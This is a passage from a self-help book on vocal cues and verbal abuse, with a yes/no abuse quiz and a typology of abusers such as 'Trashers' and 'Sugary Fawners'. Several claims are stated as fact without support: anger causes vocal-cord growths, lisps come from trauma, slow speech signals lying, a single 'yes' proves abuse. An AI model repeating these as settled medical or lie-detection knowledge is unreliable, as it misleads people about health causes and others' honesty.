We can see how the “nervousness theory” has become so popular, because most of us stutter or have stuttered
at one point or another, especially if we have been around someone who makes us feel less than we are or who
intimidates us. We often do it in situations that make us nervous, such as talking in front of others. On the other
hand, when people hesitate or speak very slowly, you might want to question whether they are telling the truth,
because that is another signal when people lie.
Where's the Foghorn?
Constant hoarse-sounding or raspy voices aren't necessarily sexy. They tend to reflect a person who is
harboring a lot of hidden anger. Often these individuals develop growths on their vocal cords because of their
constant misuse and anger. As part of their treatment to eliminate these growths or calluses on their vocal
cords, they need to work through their inner rage.
Thylvesther the Cat Thaid What?
Like Porky Pig, Sylvester the Cat has tortured many people who lisp. While lisping or whistling s sounds may
be normal in terms of a child's development or may be due to certain dental conditions, if it persists into
adulthood there may be a psychological component.
With the exception of those who have dental conditions that lend themselves to lisping (crowns, buck teeth,
overbites, underbites, and missing teeth), many cases have not been able to overcome their lisps despite speech
therapy. It is not uncommon to find out that these individuals may have suffered some emotional trauma at the
age when they were developing the s sound, around six or seven.
Page 17
Slow Down, I Can't Keep Up!
Too fast a talker is usually a hyper person—a type A personality. They are tornadoes trying to do ten things at
once with such urgency that they leave a wake of upset, annoyed, and intimidated people. Fast talkers alienate
people because they are so difficult to understand. People who listen to them may feel as though they are being
cheated, or talked into something, yet the fast talker may have completely honest intentions. For the most part,
like the soft talker, the fast talker may be suffering from self-worth issues—not feeling worthy enough to be
heard.
Aren't You Done Yet?
There are those who speak so slowly that you can fly from New York City to LA and back by the time they
finish a sentence. Unless they are suffering from brain damage such as cerebral palsy or a stroke, or are
mentally challenged, too-slow talkers are often self-absorbed. They are so concerned about saying everything
correctly that they lose sight of who they are talking to. When you try to interrupt them, they usually ignore
you and proceed talking. These people may also be “leaking” and not telling the truth.
The Rain in Spain Lies Mainly in the Plain.
The hyper-articulate, precise talker is usually very uptight and precise, and everything has to be just so: in
Freudian terms, “anal-retentive.” They remind you of the stereotypical old-maid school marm who slapped you
on the wrists with a ruler if you kept pronouncing your words incorrectly. (Today this school marm would be
doing time for her actions!)
These precise, hyper-articulate people usually have a desire to be noticed and thought of as better and smarter
than others. They often act as though they know it all, pontificating and precisely pronouncing every “i” and
emphasizing every “t.” In reality, their behavior may mask extreme insecurities.
Page 18
Page 19
Chapter 2
Knowing When You've Been Verbally Zapped
Sometimes you get verbally zapped and you don't even realize it until it is too late. When you do finally realize
it, you become psychologically and physiologically tortured as the devastating scenario runs through your mind
over and over again. You often feel like kicking yourself because of what you could have said. You may start
to assault yourself for being “stupid” and “ignorant” and not charging forth to defend yourself against your
offensive adversary. By learning how to always be on guard for possible verbal arrows, you will save yourself
a lot of grief and physical pain.
What Are They Really Saying to You?
Not only is it important to listen to how people speak to you, such as their tone of voice, it is equally important
to listen to everything they say to you and I mean everything!
You need to develop 20/20 hearing—perfect pitch, in a way. You need to hear exactly what people say and
process the words coming out of their mouths. You can't hear only what you want to hear or what you think (or
hope) they mean.
Steve was devastated when Linda walked out on him. “How could she do this to me? There were no signs. She
just left for no reason at all. She took the furniture and everything,” said a perplexed Steve during his therapy
session in my office. I probed
Page 20
and probed, until he finally realized that Linda in fact had told him she was going to leave him if he didn't start
to open up and share himself emotionally as well as physically. After some intensive soul searching, he finally
was able to remember one conversation where Linda screamed and yelled at him for not reacting to anything
emotionally. He remembered that she called him a “coldblooded lizard with ice running through his veins.” She
said that she would clean him out of house and home, and then maybe he'd react.
Had Steve really listened to what she was saying, and had he gotten some therapy to help him more freely
express himself verbally, the two of them might be together today, and Steve would at least still have a chair on
which to sit and a bed on which to sleep! He thought she was “only kidding” when she gave him this
ultimatum.
You Were Not “Only Kidding”
Like Steve, many of us think that the other person is only kidding when we hear something drastic or shocking.
We tend to obliterate our emotional reaction to these verbal bombs, ignoring the message and dismissing it as a
mere joke. We don't want to believe they just said what they said. But the truth is that they did say it, and you
had better hear it, or it may be too late. For Steve, it was too late. He quickly learned that there was nothing
funny when Linda acted on what she said. You must believe everything that someone says and not dismiss it as
mere humor.
Freud once said that there are no jokes, “only truth.” Those who say mean things or make cutting remarks are
revealing how negatively they really feel towards you. With their shockingly hostile statements, they are
actually telling you the truth. When they see the look of shock or anger cross your face, they immediately jump
in with “I was only kidding.” In essence, they punch you out, you fall down, and by dismissing their own
hostile words as a joke, they deprive you of your chance to fight back or retort.
These hostile words will continue to resonate, however, as will the actions. “I was only kidding” is also a form
of sadistic behavior. A person sees a flaw or something he doesn't like and relishes it, enjoying your problem in
order to make himself feel better. By making the shocking statement to you and verbally slapping you in your
face, he tells you how negatively he really feels about you.
We see many people do this to one another; we say that the victim who laughs it off is a “good sport.” But
there is nothing sporty about being cut down and then smiling about what was said, especially if the words
sting you. You need to put a stop to anyone joking with you at your expense.
Page 21
What's the Matter? Cat Got Your Tongue?
There is nothing more disconcerting than attempting to converse with someone who isn't willing to give you
any information. They are verbal vampires, trying to suck out all of the information and energy from you and
not giving you back anything in return. They are stingy with what they say to you. You might ask them
reciprocal questions and hear them not answer, give you a short answer, or circumvent the question entirely,
changing the subject and bringing the conversation back to you. These people are very dangerous and often
sneaky backstabbers. They acquire all of the information from you and then take advantage of you and the
situation.
If someone isn't holding up her end of the conversation, don't let your ego get in the way and think she is
“flattering you.” Instead, know that she is about to “flatten you.” When you hear her deafening silence, shut up
and don't give her any more of yourself. Put the ball in her court, no matter how awkward the stillness and
quiet become. If she can't give you anything verbal in return, neither can you; end the conversation using
techniques that you will learn later in this book.
Page 22
If He Says He's a Jerk, Believe Him
When I was in college, the women in the dormitory had a rule. “If a guy tells you he's a jerk, believe him. He
is!” One classmate argued with a well known jerk, insisting that he was really such a sweet and nice guy,
dismissing his claims of being a jerk. But she finally had to agree with him when she saw him hitting on her
roommate after he asked her to go steady with him.
The same holds true for women, of course, as well as for people with the opposite claim—those who tell you
how great they are! Muhammad Ali said he was “the greatest”—he could “float like a butterfly and sting like a
bee.” He certainly knew what he was saying: he was the greatest boxer of our time.
Even though you might think that they are braggarts or obnoxious, most people who tell you they are the best
are telling you that they have plenty of confidence in themselves. Of course, you have to watch out for people
who have delusions of grandeur, such as someone who says she is the best singer when she has never taken a
lesson and sounds off key. She very well might be the best singer—in her shower, when nobody else is around.
Thus, in addition to seeing the results, you do have to consider some history. Always listen very carefully to
what people say about themselves. They are usually right.
Beware, You're Next!
If someone constantly disses (disrespects) others, you can rest assured that you are next on the “diss list.” Some
people can communicate with another person only when they are trashing someone. It makes them feel as
though they are better and have one up on the person. That's why talk shows are currently such a success. If
you see someone more miserable than you on television and share what you saw with someone as you chuckle
to yourself, you don't feel that your life is in such bad shape after all.
In reality, these are people with a lot of inner emotional conflict that hasn't been worked out yet. They are
miserable and lonely people. They always put others down in order to build themselves up. These people are
often the ones who will be nice to your face and then verbally stab you in the back. If you hear them go after
someone one day, their tongue could easily be firing bullets at you the next morning as they make mincemeat
out of you behind your back.
Page 23
They Don't Really Mean That!
In their attempts to be civil, not make waves, or to appease you, people often make lame comments that you
know may be untrue. They may make typical automatic responses when they really mean to say the opposite.
Now you must combine your newfound knowledge of reading people's body cues, facial cues, and vocal cues
with what they are actually saying. Whenever you hear standard phrases such as the ones in the following list,
be aware. Observing their physical and vocal manner in conjunction with these particular statements may tell
you what they really mean and what they are truly feeling. Watch out for a tight-lipped smile, facial grimacing,
a forced smile, a blank facial expression, ridged body posture, a lower pitch, or a monotone when they make
these statements to appease you.
If you observe any of these body cues, chances are that they think the opposite of what they're saying. On the
other hand, if the body language, facial movements and voice pattern seem genuine, chances are that they do
mean what they say, so “don't worry about it.”
Expressions Said but Seldom Meant
1. Don't worry about it.
2. It's no big deal.
3. There's no problem whatsoever.
4. Don't give it a second thought
5. It'll all work out.
6. It doesn't bother me at all.
7. I really don't care.
8. Sure, go ahead.
9. I'm really sorry.
10. It's my fault.
Warning! You've Been Exposed to a Verbal Health Hazard
Remember the innocent mantra you learned as a child? “Sticks and stones can break my bones, but words can
never hurt me.” Wanna bet? The wrong words said to
Page 24
anyone, especially to a young and vulnerable child, are like glue. They stick to them forever—from ages 3 to
103.
The wrong kind of words can not only hurt you, they can emotionally maim you and even kill you.
The National Committee for the Prevention of Child Abuse and several psychologists who have treated abused
children came up with the following list of commonly used remarks with which parents verbally abuse their
children. Many parents make these comments, completely unaware of the damaging repercussions and lasting
scars these words can have on their youngsters. If you have made any of these comments to your child, never
do it again! Apologize to them.
You can also do this with employees. Remember, it takes a big person to apologize, whether a parent, child,
sibling, spouse, employer, or employee. Those who can't bring themselves to say they are sorry are often
bullies who believe that a kick in the pants is better than a pat on the back. Those who make these cruel
statements are often miserable and bitter people with little or no feeling for anyone but themselves. They are
often so consumed with self-loathing that they spew forth their toxic bullets towards anyone in their way. Most
often, it is towards a defenseless family member, such as a child.
The following are abusive statements you must never say.
1. “You look terrible.”
2. “Wear something else. You look awful.”
3. “You're pathetic. You can't do anything right.”
4. “You're so stupid. Can't you ever listen?”
5. “You disgust me. Just shut up!”
6. “If I would have known how much trouble you'd be, I never would have had you.”
7. “Get out of here and don't come back.”
8. “You make me sick.”
9. “You're always wrong.”
10. “Who asked you?”
Verbal Abuse—the Silent Killer
Sometimes you may not even be aware that you have been verbally abused. It's often like a silent killer, similar
to a gas leak that slowly fills the room and eventually conPage
25
sumes you. You smell something, but you ignore it, thinking it will go away. But it doesn't go away, and then
you become unconscious. Unless someone rushes into your home to save you, you will never wake up.
The following section contains a quiz to help you become more aware of whether you have been exposed to
verbal abuse. Like the gas leak, the abuse may have taken place slowly until it consumed you. It may have
affected your physical health or your emotional well-being, because the verbal abuse seems never to go away.
Unless the information and knowledge you acquire from reading this book saves you, your physical and
emotional suffering will become worse, until it takes a devastating toll on your body and psyche.
Quiz to Determine Exposure to Verbal Abuse
Answer the following questions with “yes” or “no,” then read the section that follows to determine the level of
verbal abuse that you've experienced.
1. Have you been told to deny or to minimize your emotions (for example, “don't cry,” “keep a stiff upper lip,”
“stop getting worked up over nothing,” “don't get so bent out of shape,” and “take it easy”)?
2. Were you told how wonderful you were in one breath and then in the next breath how horrible you are?
3. Did someone take the wind out of your sails or diminish what you say (such as, “you'll never be able to do
that,” “who do you think you are?”, or “that's the stupidest idea I ever heard”)?
4. Have you been contradicted whenever you say something, even though you know you are correct and have
the data or the evidence to prove it?
5. Were you teased in a vicious manner, with the teaser not letting up no matter how upset you got?
6. Did you feel that someone was sadistic by secretly getting satisfaction out of seeing you emotionally hurt or
upset?
7. Were you constantly threatened, or did someone hold over your head something that you were sensitive
about?
8. Were you ridiculed after you told someone an intimate secret? Did that person tease you about it and
constantly throw it back in your face when you least expected it?
9. Did he share your confidence with others after you said not to tell anyone else?
10. Did he speak to you in hostile, harsh, or angry tones?
11. Did she look away when you spoke or when she spoke to you?
12. Did she move away from you when you tried to speak to her?
13. Did he withhold information or neglect to give you vital information?
Page 26
14. Did he always try to have a “leg up” and try to top anything you told him? Did you feel that he was always
trying to compete with you?
15. Did she make you feel wrong, contradict you, or attempt to belittle or dismiss what you had to say in front
of others?
16. Did she say something awful or shocking to you and then follow her comment by “I was only kidding?”
17. Did he seem to always accuse you or blame you by making statements beginning with “you never…,” “you
always…,” “it's your fault that…,” “you'd better…,” or “why don't you ever…?”
18. Does she always try to instigate a fight?
19. Does she curse at you or use profanity?
20. Does he always seem to pick on you, telling you how bad you are and what you did wrong, rarely telling
you what you ever did right?
21. Does he call you pejorative names or nicknames that he knows you don't like?
22. Does she constantly bring up something bad that happened in your past or a mistake you made, and never
let you forget it?
23. Does she order you around, constantly making demands instead of making requests when she speaks to
you?
24. Does he speak so softly that you can't hear him, even though you have heard him speak up when he wants
to?
25. Does he bellow out loud and deafening tones when he speaks to you, but not when he speaks to others?
26. Is she always in a hurry or having to go whenever you want to talk with her?
27. Does she answer questions with a question, never giving you a direct answer?
28. Was getting him to talk like pulling teeth? Did he usually give one-word responses to your questions like
“yep” or “nope?”
29. Does she say things to make you feel guilty?
30. Does she constantly belittle you or embarrass you in front of others?
31. Does he ignore, dismiss, or reject what you say?
What Do Your Answers Mean?
If you can answer “yes” to any of the 31 questions listed here, then you have definitely been exposed to verbal
abuse. To determine the main culprits, write down the names of all those who have committed any of the acts
of abuse listed here.
In doing so, you will begin to see a pattern emerge. For the first time, you may see that it is men more than
women who are verbally abusive towards you, or vice versa. You

Page 27
may become more conscious of certain people who may be jealous of you or uncomfortable around you. You
may see that you are abused with certain family members and not with others. You might see that you were
more verbally abused as a child or teenager, as many of the names on your list will be those of people from
your early years of life. You may also have numerous names next to one question, which may indicate that you
may choose similar types of people who are toxic for you.
This quiz allows you to delve a little deeper and learn more about yourself. Here you can clearly see who your
tormentors are (or were) and how they have specifically victimized you.
Ouch, It Hurts! The Physical Pain of Verbal Abuse.
As was said earlier, words do hurt. Using words as weapons can cause tremendous physical pain, disease, and
(as far-fetched as it may seem) can even result in death.
Physical reactions towards verbal abuse take place in stages. When someone verbally slaps you, your system
suffers an initial shock. First your cortex, the top layer of your brain, receives the verbal message, which is
processed in the appropriate areas of the brain, primarily on the left side, called Wernicke's area. After you
have cognitively deciphered what was said, a deeper area of your brain, known as the limbic system, kicks in.
When you have been verbally abused your whole physiology changes, becoming different from the state at
which you either heard pleasant things about yourself or when you felt neutral.
Now your autonomic nervous system, the system that controls your heart rate, pupil dilation, and blood flow,
kicks in. The primitive “fight or flight” response emerges as you aim to physically protect yourself against the
predators. Thus, your heart beats faster, the adrenaline flows, and your senses become heightened, making you
more aware of what is occurring around you.
This is why your heart beats so fast, why blood rushes to or drains out of your face, or why you might develop
a sudden headache. It is why you may become dizzy or lightheaded and feel as though you have had an “outof-
body” experience.” It is also why you may have difficulty initially catching your breath after you have been
verbally zapped and slapped. This is why your stomach tightens and begins to hurt or cramp, why your body
becomes rigid, and why the muscles in your neck and back tense up.
If these physiological changes happen to you regularly, a particular area of your body may become weakened
due to the added pressure placed upon it. For instance, constant pain and pressure in the abdominal region can
cause an increase in stomach acid,

Page 28
which may result in ulcers. This pain can cause such discomfort that it can immobilize you, thereby
jeopardizing your work and your interpersonal relationships.
Head Games Lead to Heart Pains.
Constant physical stress can also affect the muscles in your heart, thereby weakening the main mechanism you
need for life support. Your blood flow may be affected, which may cause heart dysfunction and even stroke.
Research has repeatedly shown how added emotional distress can contribute to heart failure, which may kill a
person. Similarly, studies have shown that stress can lower the immune system, which can make us susceptible
to certain diseases. Among these are cancer, which in most cases leads to death.
The results of verbal abuse, like those of physical abuse, have a devastating effect on the body. This is very
serious and should never be taken lightly. When people are verbally abusing you on a constant basis, they are
in essence taking away chunks of your life.
Following are several warning signs that often result from verbal abuse:
• Shocked or numb feeling
• Body or face flinching
• Body or face tics
• Body or face tremors or shivering
• Flushed or hot feeling
• Cold feeling
• Skin blotches
• Head throbbing
• Headache in various parts of the head
• Neck pain and tightness
• Stomach pain and cramping
• Diarrhea
• Vomiting
• Rapid heartbeat
• Light-headedness
• Dizziness
• Inability to catch one's breath
Page 29
Shrinking Verbal Abuse—Psychological Pain
When people have been consistently verbally abused, they usually have no other recourse than to get
professional help. They need to verbalize their feelings to their clergy, a supportive family member, an intimate
friend, a counselor, or a psycho-therapist or “shrink.” If not remedied, their “shrinking self-esteem” may result
in severe self-destructive behaviors leading to a very unpleasant life.
When people are constantly verbally slapped as children, they begin to feel embarrassment and shame. They
grow up feeling like less than they are—worthless and irrelevant in the world. People react differently when
they have been emotionally traumatized. They may become explosive and let out their emotional pain in some
way. On the other hand, they may become implosive, keeping their emotional pain inside of them; this ends up
torturing them emotionally. No matter how they manifest their symptoms, the result of their pain is the same—
a diminished sense of self brought about by verbally hostile input.
Externally, those who have been verbally abused may in turn become verbally abusive towards others. They
may exhibit the same tone of voice or use the same words that they have detested all of their lives. They may
do this to keep others at a distance, as they often fear intimacy. To the verbally abused, intimacy is often
equated with emotional loss and pain.
They may take out their inner rage on unsuspecting innocent victims, as they themselves were at one time.
They may yell, scream, and belittle others. On the other hand, they may become too accommodating or clingy
towards others. They may become exceedingly shy and unable to converse with anyone effectively. This
further alienates them from others. They may tend to feel hopeless with an attitude of “what's the use of trying?
I'm no good anyway”. This can eventually lead to lethargy and generalized malaise and can eventually evolve
into full-blown depression; in extreme cases, the person becomes “emotionally vegetative” over a period of
time.
Page 30
On the other hand, some of those with such verbal abuse-caused low self-worth direct their rage and anger
inward. They feel so worthless and undeserving that they punish themselves by overeating, undereating,
bingeing, purging, or starving themselves. They may engage in other self-destructive habits that are a very
difficult to break. These include taking drugs, drinking too much, smoking, or self-destructive sexual liaisons.
Practically every patient I have counseled has had the root of his or her psychological problems stem from
being verbally abused. This is such a serious matter that it can no longer be minimized or ignored. It prevents
people from living their lives to the fullest because a question always rings deep within their psyche about
whether the “toxic words and comments” about them were in fact valid. Verbal abuse and violence can create
scars so deep and so severe that it can emotionally destroy a person forever.
The feelings of pain and emotional despair can be so severe that it can lead someone with an extremely fragile
psyche to commit suicide. Teen suicide has been on the rise lately, going up almost 50 percent. In many cases,
it is because these teens can no longer take the verbal tormenting from their parents or peers. In their
desperation to be accepted, they find the pressure so enormous that they no longer want to live. The ugly truth
is that they were killed by verbal bullets.
The following are several psychological reactions resulting from verbal abuse:
• Feelings of shame or embarrassment
• Feelings of worthlessness
• Insecurity
• Inability to form intimate relationships
• Inability to trust
• Gravitating towards other “familiar” verbal abusers
• Generalizing anger and inner rage towards others
• Physical violence
• Anorexia
• Bulimia
• Excessive appetite
• No appetite
• Sleeplessness
• Anxiety attacks
• Drowsiness and feeling sleepy
• Diminished sexual interest
• Increased sexual interest
• Overly willing to please and accommodate others

Page 31
• Emotional hypersensitivity
• Crying jags
• Phobias
• Withdrawing from others socially
• Clinging to others
• Generalized malaise
• Verbal retaliation
• Apathy and lethargy
• Excessive drinking
• Doing drugs
• Smoking despite a doctor's warning
• Full-blown depression
• Suicide
Page 33
Chapter 3
Verbal Abusers Are Losers
People who resort to verbal attacks and abuse are full of hostility. They are tortured with rage about issues have
nothing to do with you. Usually these issues arise from something traumatic that may have occurred earlier in
their lives. If they don't work out their psychological turmoil, the unfortunate person in their path bears the
brunt of their tortured souls.
These people have lost out on the quality of life because as a group they are never happy. No matter how much
money, fame, or beautiful possessions they have, there is a void. Unless they seek professional assistance to rid
them of their demons, they become losers in life. They consistently lose business opportunities and friends, and
this further fuels their misery.
Categorizing the Verbal Abuser
In researching this topic, I have concluded that verbal abuse exists in two basic levels. Essentially, the results
of both levels are the same: the verbal weaponry stings and hurts. However, the consequences of level one
abuses may not be as devastating as those from level two abuses. Both levels of verbal abusers, however, are
“toxic people,” as identified in my book Toxic People—10 Ways of Dealing With People Who Make Your Life
Miserable (St. Martin's Press, 1997).
Page 34
Eleven types of verbal abusers exist in each level. The common thread is self-esteem so low that they have to
bring others down to their own perceived level of inadequacy. In level one, the offenders tend not to interfere in
your life. They just want to make you miserable or uncomfortable by what they say to you. The people in level
two really want to let you have it! They interfere with your life to the extent that they could destroy it.
Level One Abusers
The ten types of verbal abusers in “level one” are more annoying and hurtful to your psyche than those in
“level two.” You will learn what each particular abuser does and says and red flags to watch out for. Later in
this book we will explore ways to handle these types of abusers.
The “I'm Only Kidding” Person
In Chapter 2, I discussed people who always tell you that they are kidding after making some devastating
comment to you. They seem like they are erasing what they said, but they really say this only to keep you from
attacking them back. If you persist in challenging them about the hostile comment they made, they will ever
more loudly insist that they were “only kidding.” The more you persist, the more they will resist, by getting
louder and using a higher tone. Finally, they may use an exasperated or even sarcastic tone indicating they
think you're the one with the problem because you're taking things so seriously. After all, they were “only
kidding.”
Deep down inside, they really resent you or your actions, but they are too “chicken” to tell you outright, so they
disguise their annoyance as humor.
Many young women I speak to experience this type of behavior from dates who want to “get a leg up” on them.
If the man feels intimidated by the woman, he may try to gain the upper hand by making hostile and insulting
statements to her. When he sees that he was successful in getting a “rise” out of her, he knows he has that
power, if only for a moment.
The “Shock 'Em and Rock 'Em” Person
“Shock 'Em and Rock 'Em” people are similar to “I'm Only Kidding” people. Both want to get a rise out of
you. They want to shock you by making a bizarre and
Page 35
inappropriate comment to get your attention or see how you will react. Unlike the “I'm Only Kidding” person,
they usually don't resent or dislike you. In fact, they may really like you.
Such people are immature in their psychological development. They often have unresolved parental issues.
They attempt to keep “pushing the envelope” with you to see if you will still like them even after they are
“bad.” After all, Mommy and Daddy gave them unconditional love, so why can't you? They fail to realize that
you are not Mommy or Daddy, and that when they are “bad,” you won't necessarily like them or accept them.
If you pass their test and ignore what they said or minimize it, they feel that they “gotcha” and feel that you
accept them even if they are being bad.
The Sarcastic/Sadistic Person.
These people have a lot of deep-seated psychological issues. Similar to the “I'm Only Kidding” person, they
use hostility under the guise of humor because they really don't like you. They don't like themselves and see the
world as dark and gloomy.
You can never be happy around these people, because they usually don't let up and are always thinking of
something negatively humorous to say in any situation. They rarely take anything seriously. The truth is that
they are not funny, and they know it. They know that they are in agony internally. You can rarely have a
conversation with them without their resorting to sarcasm. This is most tiring and frustrating to you; you will
begin to physically show your frustration with what they say, as you can tell that their dark, unwitty wit is
about to invade you.
The Verbal Hammers Person
Verbal hammers won't let up, let alone shut up! They go on and on and on and on. They never let you forget
anything bad you ever did in your life. They constantly bring up the past. They verbally torture you to the point
where you can't wait to leave them.
Even if you “Shock 'Em and Rock 'Em,” they won't be shocked and they won't be rocked. Like the Energizer
Bunny, they just keep going! You feel like you're about to explode because there is no way out—they can't
even hear you.
You may apologize a hundred times, and they will never hear you. They may stop for a while, but rest assured
that they will continue to hammer you at some later date. These people are usually filled with inner rage and
have a “victim” approach to life, which makes them feel that people are always doing them wrong. It's virtually
impossible for them to break their view of themselves as well as their hammering unless they undergo
Page 36
some major counseling. Often times their hammering has very little to do with you. They may be generalizing a
past negative experience (perhaps one they had with another person) onto you.
“My Dog's Bigger Than Your Dog” People.
Like the “I'm Only Kidding” person, these people need to get a “leg up” on you, which is quite appropriate
because after all, they are “My Dog's Bigger than Your Dog” people. Years ago in a television commercial, a
little boy was bragging about his little dog, when a second boy claimed that his dog was bigger than the first
boy's dog. Although it was a cute commercial, being around people who are always trying to compete with you
isn't very cute. It is annoying. Such people are so hungry to show you who they are and what they have that
they are relentless in uncovering any morsel of information where they will have a chance to compete with you.
These people may indeed really like you. Perhaps they like you too much—to the point where they envy you
and what you have. Their jealousy makes them need to establish an equal playing ground—to play the oneupsmanship
game with you to make themselves feel better. They are extremely insecure about themselves and
about their accomplishments.
Perhaps they didn't get enough positive reinforcement when they were children. Unfortunately, they crave it as
adults. It becomes the fuel to their existence. No matter how hard you try to build them up, it doesn't matter.
They need to build themselves up—mainly at your expense.
They drain you because they try to deflate and negate everything you say. In essence, being with them means
constantly listening to their one-upsmanship and being put down. You can't have a conversation with them, you
can only have a match where they have to come out the “winner.”
The Trashers
These people have to tear down everyone and everything. They, like the Sarcastic Sadist, see the world through
dark and cloudy glasses. But unlike the Sarcastic Sadist, they don't try to disguise their verbal venom with
humor; instead, they are blunt and open about their feelings about others and everything around them. Like the
“My Dog's Bigger Than Your Dog” people, they have a need to build themselves up while putting others down.
The only difference is that they don't only try to top you, they also constantly criticize.
If they have only criticized others in your presence and have left you alone, you can bet that you will be trashed
either in person at a later date or when you're not around. They have no mercy. Anyone is fair game.
Page 37
Trashers are miserable people. It is a shame that they have to live with themselves. They go around perpetually
tight-lipped and tight-jawed, tense-faced, whiny, and with tones of disgust spewing forth. They are difficult to
be around, because nothing seems to make them happy. They will always find something wrong with someone
or something. Even though they certainly aren't perfect, they insist that the world around them be perfect.
Perhaps they learned how to be so negative from parents or caretakers who saw the world in the same way.
Perhaps they have been so traumatized in life that they have resigned themselves to the bitter Murphy's Law
idea that nothing is good and nothing ever goes right. Therefore, they cut down others before circumstances or
other people can cut them down.
They are dissatisfied with everything. No matter what you say or do, they cannot be pleased. Like the “My
Dog's Bigger Than Your Dog” people and the “Sarcastic Sadists,” they are impossible to be around for long
periods of time because they drain you. They deflate who you are, what you think, and who and what you like,
thereby debilitating your own self-esteem and outlook towards life.
People Who Throw Back Your Confidences
These people are downright vicious. You may have shared something personal with them—something that
would embarrass or destroy you if anyone else knew. You tell this person because you trust them implicitly.
After all, they revealed their innermost thoughts and deep, dark secrets to you. You feel safe and secure. When
there is a conflict or a disagreement between the two of you, however, they will reach for a verbal weapon that
is well below the belt, something you shared with them in the strictest confidence.
Once they commit the unforgivable act of throwing back in your face something you're so sensitive about, you
can never trust them again! It is dangerous to “forgive and forget.” If they did it once, who's to say that they
won't do it again? You can never again tell them anything so intimate.
Why did they do it? Because they wanted to use any verbal weapon, no matter how hurtful, to get you back and
to win. Deep down, these people may have little or no respect for you. They not only knocked you down, they
stomped on you and squished you.
There is another problem with these people: If they threw your confidence back at you, who is to say that they
haven't shared your intimacy with others? Obviously, they don't respect you enough to know what is off limits
for them to ever bring up.
Page 38
Some people just can't keep anything inside. They have to tell all about themselves and about anyone who's
confided in them. These are people you need to steer clear of. They can verbally destroy you, as they have done
to themselves.
Other people tend to know who they are and what they are all about. They don't elicit much respect from others
and if you associate with them, you won't elicit respect from others.
The Sugary Fawner
People want to hear good things about themselves, but there is a limit. When you are constantly fawned over
and praised relentlessly with extraordinary passion and emotion, you need to be careful.
Sugary fawners have a huge smile and are overly excited to see you, gesturing excessively and hovering around
you. They tell you wonderful things about yourself that you know are exaggerations. Most of these sugary
fawners tend to be insincere and manipulative. Usually they want something from you, and they will break this
news to you well after they are in your good graces. Watch how they turn on you when your answer is “no” or
they don't get what they want. Suddenly their sugary words and attitude become salty or even bitter.
Often the Sugary Fawners make you feel as though you are their best friend. This is often calculated, as they
most likely want something from you or want you to do something for them. They often pull the rug out from
under you either after they get what they wanted from you or don't get what they want. They will continue to be
sugary if they think that they can get more from you. Deep inside, they really might not like you, but they are
being overly nice to get what they want from you.
These manipulative tactics date back to infancy. The dynamic of many families is that of manipulating or
“bribing” a family member to do something. Parents tell their children, “If you are well behaved, I'll buy
you….” Children act cutesy in order to get a certain positive reaction from their parents, which results in
positive consequences. If
Page 39
their charm doesn't work, they will often cry or throw a tantrum. Many people carry this manipulative behavior
into adulthood. This is how some people deal with the world and with people around them.
They are insincere people who are usually backstabbers. They will often become “Trashers” and sing your
failures and weak points to others as opposed to singing your praises and strong points. So beware and be
aware!
Backhanded Complimentors
These people, like the “I'm Only Kidding” people, have some underlying resentment towards you. They really
may not like you and may make a cutting remark. Instead of trying to disguise their hostility with humor, like
the “I'm Only Kidding” people, they often disguise it by saying something complimentary to you, followed by
a cutting remark in their next breath.
In essence, they are demonstrating an openly hostile attitude towards you. The tone of a person's voice is also a
giveaway for Backhanded Complimentors. Their voices usually go up in tone at the end of their truly
complementary statement, but will immediately inflect their tone downward, slightly lowering their pitch when
they are about to let loose with verbal zingers.
These people really resent you or are jealous of you. They are also negative people who often can't let a person
know that the person is “too good.” They have to pick on the slightest imperfection. They do it in such a subtle
manner that you don't ever know they verbally smacked you until later. Sometimes you don't realize it until
moments later, hours later, or even days later.
You begin to mull over what you said and what they said and what you wish you would have said, had you
realized what they were saying. This mental mishmash can keep you awake for nights on end. The reason why
their zing hits you later is because their initial positive comment is still resonating in your mind as you beam
and smile. Then when you have time to think about everything, you really hear what they said.
The Self-Consumed.
The Self-Consumed discuss only the topic that is most interesting to them—themselves. They go on and on
about themselves with disregard as to whether the other person is interested in what they are saying or not. The
Self-Consumed will rarely look in your direction when they talk you. They enjoy reliving their lives'
experiences by telling you every little detail about what happened to them.
The Self-Consumed require so much attention from others because deep inside they are extremely insecure
about themselves. They need constant validation in order to exist. Their speech is primarily consumed by the
word “I.” “You” is rarely if ever used. They talk at you, not with you. They are not very helpful or generous, so
don't expect them to do anything for you that doesn't benefit them.
Page 40
In short, be aware of the following level one verbal abusers.
1. “I'm Only Kidding” People
2. “Shock 'Em and Rock 'Em” People
3. Sarcastic/Sadists
4. Verbal Hammers
5. “My Dog's Bigger Than Your Dog” People
6. Trashers
7. People Who Throw Back Your Confidences
8. Sugary Fawners
9. Backhanded Complimentors
10. The Self-Consumed
Level Two Abusers
There are 11 types of Level Two abusers. Unlike the Level Ones, who are annoying, these people are very
destructive to you and may be downright dangerous. By learning what they do and how to recognize them, you
will be saving yourself a lot of grief in your life.
Interrogators
After you have been around these people, you feel as though you have been placed under a hot lamp and
tortured. It's one thing to be persistent, but these people are relentless. They don't know when to stop. They go
on and on asking you questions until they get the answer they want to hear. They will ask you questions in
different ways to see if they can catch you in a lie or learn some detail you didn't particularly want them to
know. They tend to put you on the defensive, making you feel as though you are guilty, when in fact you might
not have done anything wrong. They are also very nosy and want to know everything they can about your
business or about your personal life.
These people are so insecure that they need reassurance that everything is the way they feel it should be. When
you notice that someone is asking you question after question, nonstop, know that you have met an
interrogator.
Certain communities refer to them as yentas: they try to suck as much information out of you as they can, so
that they can regurgitate it to others. Of course, the
Page 41
information they are giving others is usually misinterpreted and told in the wrong context, which makes you
look bad, giving an erroneous impression of who you are and what's going on.
Gossiping, Meddling Instigators
These people enjoy interfering in your personal business by telling you what to do. In order to make situations
turn out as they want them to, they will stop at nothing to create their own little soap operas. They often tell
you things with an alarmed tone to make you perceive the severity of the problem at hand. To make matters
worse, they tell your business to anyone who will listen.
Instigators usually do not have much going on in their own lives—only what commotion they create in the
lives of others. They usually begin their wrath by saying things such as “I don't want to pry, but…,” “It's none
of my business, but…,” “I think you should know that…” or “I happened to hear that….” If any of these
phrases hit your ears, you know what's coming next. They are usually overzealous in wanting to help or to get
involved in your life. They usually speak in rapid tones, which get you enrolled in the immediacy of the
situation. Remember that if a person is gossiping to you about others, chances are that you are next on the list
to be gossiped about.
Condescending Dismissers
Condescending Dismissers think that they know it all. You can't tell them anything, because they think they
have all the answers. Your opinion doesn't matter. They are snob-like in their attitudes as they brush you and
your opinions off as if they were lint. The way they ignore you or put you down in subtle and not-so-subtle
ways can make you feel two inches tall.
